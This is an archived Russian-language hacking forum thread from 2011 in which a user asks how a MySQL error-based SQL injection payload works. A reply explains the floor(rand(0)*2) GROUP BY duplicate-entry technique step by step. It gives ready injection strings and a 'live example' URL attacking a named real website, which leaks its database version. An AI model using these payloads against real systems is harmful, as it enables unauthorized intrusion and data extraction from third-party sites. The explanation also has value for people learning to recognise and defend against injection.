PDA

Просмотр полной версии : проблема c sql


qaz
24.10.2011, 23:39
я уже спрашивал на форуме что значит етот запрос


+or+1+group+by+concat((select+version()),floor(ran d(0)*2))having+min(0)+or+1--+



но никто так и не ответил, все ссылаются на какието ресурсы где обьяснением и подавно непахло, но всёже может хтонибуть может проследить ход моих мыслей и обьяснить.

1)Первое што было непонятно ето +or+1+

што вобще ето значит?

я поробовал на хостинге выполнить ети запросы,

вот к примеру


SELECT`user_mail`FROM`table`WHERE`id` ='12'or1

етот запрос значит ,, вывести емеил бзера из таблици где id = 12 или 1,, чо ето за бред? правильно было бы


SELECT`user_mail`FROM`table`WHERE`id` ='12'or `i d`=1


при таком запросе


SELECT`user_mail`FROM`table`WHERE`id` ='12'or1

у меня всегда выводило первую запись в таблице, я так догудуюсь што етот запрос означает ,,вывести то_то где id = 12 или первую запись,, или я не так понял?

2) Поехали дальше

min(0) насколько я знаю в скобках надо вводить название столбца, што означает там введение цифр???

3)Далее ето floor(rand(0)*2) результатом такого уравнения будет ноль, но если подставить в запрос просто ноль то ничего не выйдет, почему? какую роль ето играет?

4) ну и тд. также непойму зачем в конце +or+1--+ и зачем надо груперовать и собирать в одну строку я тоже не пойму group+by+concat

вобщем буду очень презнателен если ктонибуть прольёт немного света на мой затемнелый разум

Slaid
25.10.2011, 14:24
sql inj кто-то пытался заюзать, при помоши вывода об ошибках

в оригинале немного по другому

floor(rand(0)*2) провоцирует ошибку =)

попугай
25.10.2011, 14:34
https://rdot.org/forum/showthread.php?t=503

qaz
25.10.2011, 21:01
https://rdot.org/forum/showthread.php?t=503


там к сожалению нет ответа на мои вопросы

попугай
25.10.2011, 21:32
там к сожалению нет ответа на мои вопросы


да ну? Там как раз есть. Приглядись.

Melfis
26.10.2011, 00:04
да ну? Там как раз есть. Приглядись.


Д даж приглядываться не надо ) С километра видно.

qaz
27.12.2011, 00:43
Д даж приглядываться не надо ) С километра видно.


бред,

процетируй ответы на мои вопросы из заданой ссылки

d1v
27.12.2011, 00:56
бред,
процетируй ответы на мои вопросы из заданой ссылки


если бы кто-то всё-таки опустился до такого уровня, чтобы ответить тебе на вопросы, то в последующем у тебя возникло ещё больше вопросов, которые ты в силу своих интеллектуальных способностей тоже задал бы здесь, а не попытался найти на них ответ самостоятельно. а от того, что ты услышишь ответы, не зная даже что такое mysql, мозгов у тебя не прибавиться, а скорее убудет, т.к. в последущем это будет прямой сигнал для твоего скудного набора нейронов о том, что тебе кто-то что-то должен и не даёт. от сюда все проблемы на ачате.

qaz
27.12.2011, 01:00
если бы кто-то всё-таки опустился до такого уровня, чтобы ответить тебе на
вопросы
, то в последующем у тебя возникло ещё больше
вопросов
, которые ты в силу своих интеллектуальных способностей тоже задал бы здесь, а не попытался найти на них ответ самостоятельно. а от того, что ты услышишь ответы, не зная даже что такое mysql, мозгов у тебя не прибавиться, а скорее убудет, т.к. в последущем это будет прямой сигнал для твоего скудного набора нейронов о том, что тебе кто-то что-то должен и не даёт. от сюда все проблемы на ачате.


я знаю mysql, не досконально, но основное знаю, не знал бы вопросы бы ваще не задавал

d1v
27.12.2011, 01:01
я знаю mysql, не досконально, но основное знаю, не знал бы вопросы бы ваще не задавал


так в чём тогда проблема? открой документацию и прочитай, что делает тот или иной оператор.

shell_c0de
27.12.2011, 01:36
/showpost.php?p=407227&postcount=3

вообще-то прочитай всю ветку сначала и многое поймешь сразу, не вижу тут все повторять и копипастить там все подробно описано по пунктам.

qaz
27.12.2011, 01:42
так в чём тогда проблема? открой документацию и прочитай, что делает тот или иной оператор.


ну я и открывал

вот возьмём к примеру етот вопрос


2)

min(0)насколько я знаю в ско бках надо вводить названи е столбца,што означает та введение цифр???



вот к примеру первое попавшиеся описание

http://php.su/mysql/?commands


Внутренние функции MIN,MAX,AVG, SUM

При работе с оператором SE LECT вам доступны несколько очень полезных внутренни х функций MySQL,вычисляющих колличество элементов(COUNT), сумму элементов(SUM),максима льное и минимальное значе ния(MAX и MIN),а также средне значение(AVG).

Следующие операторы вывед ут,соответственно,колличес тво записей в таблице CLIENT S,самый дорогой товар и су мму цен всех товаров:

SELECT COUNT(*)

FROM CLIENTS;

SELECT MAX(PRICE)

FROM TOOLS;

SELECT SUM(PRICE)

FROM TOOLS;



также как и в учебнике который я читал, подстовляются стольбцы, а о возможности подстоновки числа ноль и том что и откуда оно будет бывирать не сказано

_______________________________________

qaz
27.12.2011, 01:44
/showpost.php?p=407227&postcount=3
вообще-то прочитай всю ветку сначала и многое поймешь сразу, не вижу тут все повторять и копипастить там все подробно описано по пунктам.


спасибо, ща почитаю

Expl0ited
27.12.2011, 01:52
Вся соль пошла отсюда: http://bugs.mysql.com/bug.php?id=32249

Где товарищ, Domas Mituzas, недоумевает, почему код


mysql>select count(*),floor(rand()*2)x from grouptest 1 group by x;

возвращает, то верный результат, то тот же результат, но в обработчике ошибки:


ERROR 1062 (23000): Duplicate entry '
1
' for key 'group_key'


Проблема в том что group by проверяет выражение несколько раз, а rand() в свою очередь возвращает каждый раз разные значение. Цитата из мануала (http://dev.mysql.com/doc/refman/5.0/en/mathematical-functions.html#function_rand) :


"You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times".


Исходя из этого некто Qwazar (пруф (http://qwazar.ru/?p=7) ) решил попробовать конкатацию строк, для получения запрошенных данных в обработчике ошибки:


select count(*),concat(version(),floor(rand()*2)) x from users group by x;

После нескольких попыток выполнить этот запрос, выводится:

#1062 - Duplicate entry '5.5.80' for key 'group_key'

или

#1062 - Duplicate entry '5.5.81' for key 'group_key'

Дальше для упрощения(укорочения) запроса, concat(version(),floor(rand()*2)) перенеслась в group by и мы получаем:


select count(*)from users group by(concat(vers ion(),floor(rand()*2)));

Результат:

#1062 - Duplicate entry '5.5.80' for key 'group_key'

или

#1062 - Duplicate entry '5.5.81' for key 'group_key'

К конструкции floor(rand(0)*2)) пришли исключительно методом тыка (если я конечно не ошибаюсь). И в итоге получился вектор, для вывода информации в ошибке mysql:


select count(*)from users group by(concat(vers ion(),floor(rand(0)*2)));

Постоянный результат:

#1062 - Duplicate entry '5.5.81' for key 'group_key'

Для удобства можно избавится от лишнего символа 1 в конце результата, использованием 0x00 - нулевой байт


select count(*)from users group by(concat(vers ion(),0x00,floor(rand(0)*2)));

Ну и уже в виде инъекции в запросе это может выглядеть так:


bug.php?id=10+and+(select+count(*)+from+table+grou p+by(concat(version(),0x00,floor(rand(0)*2))))--+



SELECT id,news FROM content WHERE id=10and ( select count(*)from table group by(concat(vers ion(),0x00,floor(rand(0)*2))))--

И при условии если существует таблица table, то в ответе будет:

#1062 - Duplicate entry '5.5.8' for key 'group_key'

Живой пример:


http://www.forakom.ru/tree/index.php?brand_id=739&model_id=5533&engine_id=1005635+and(select+count(*)+from+tcdView s.v_ext_engines+group+by(concat(version(),0x00,flo or(rand(0)*2))))--+

Duplicate entry '5.0.67-log' for key 1

Теперь наглядно?

qaz
27.12.2011, 18:48
Теперь наглядно?


да, спасибо большое)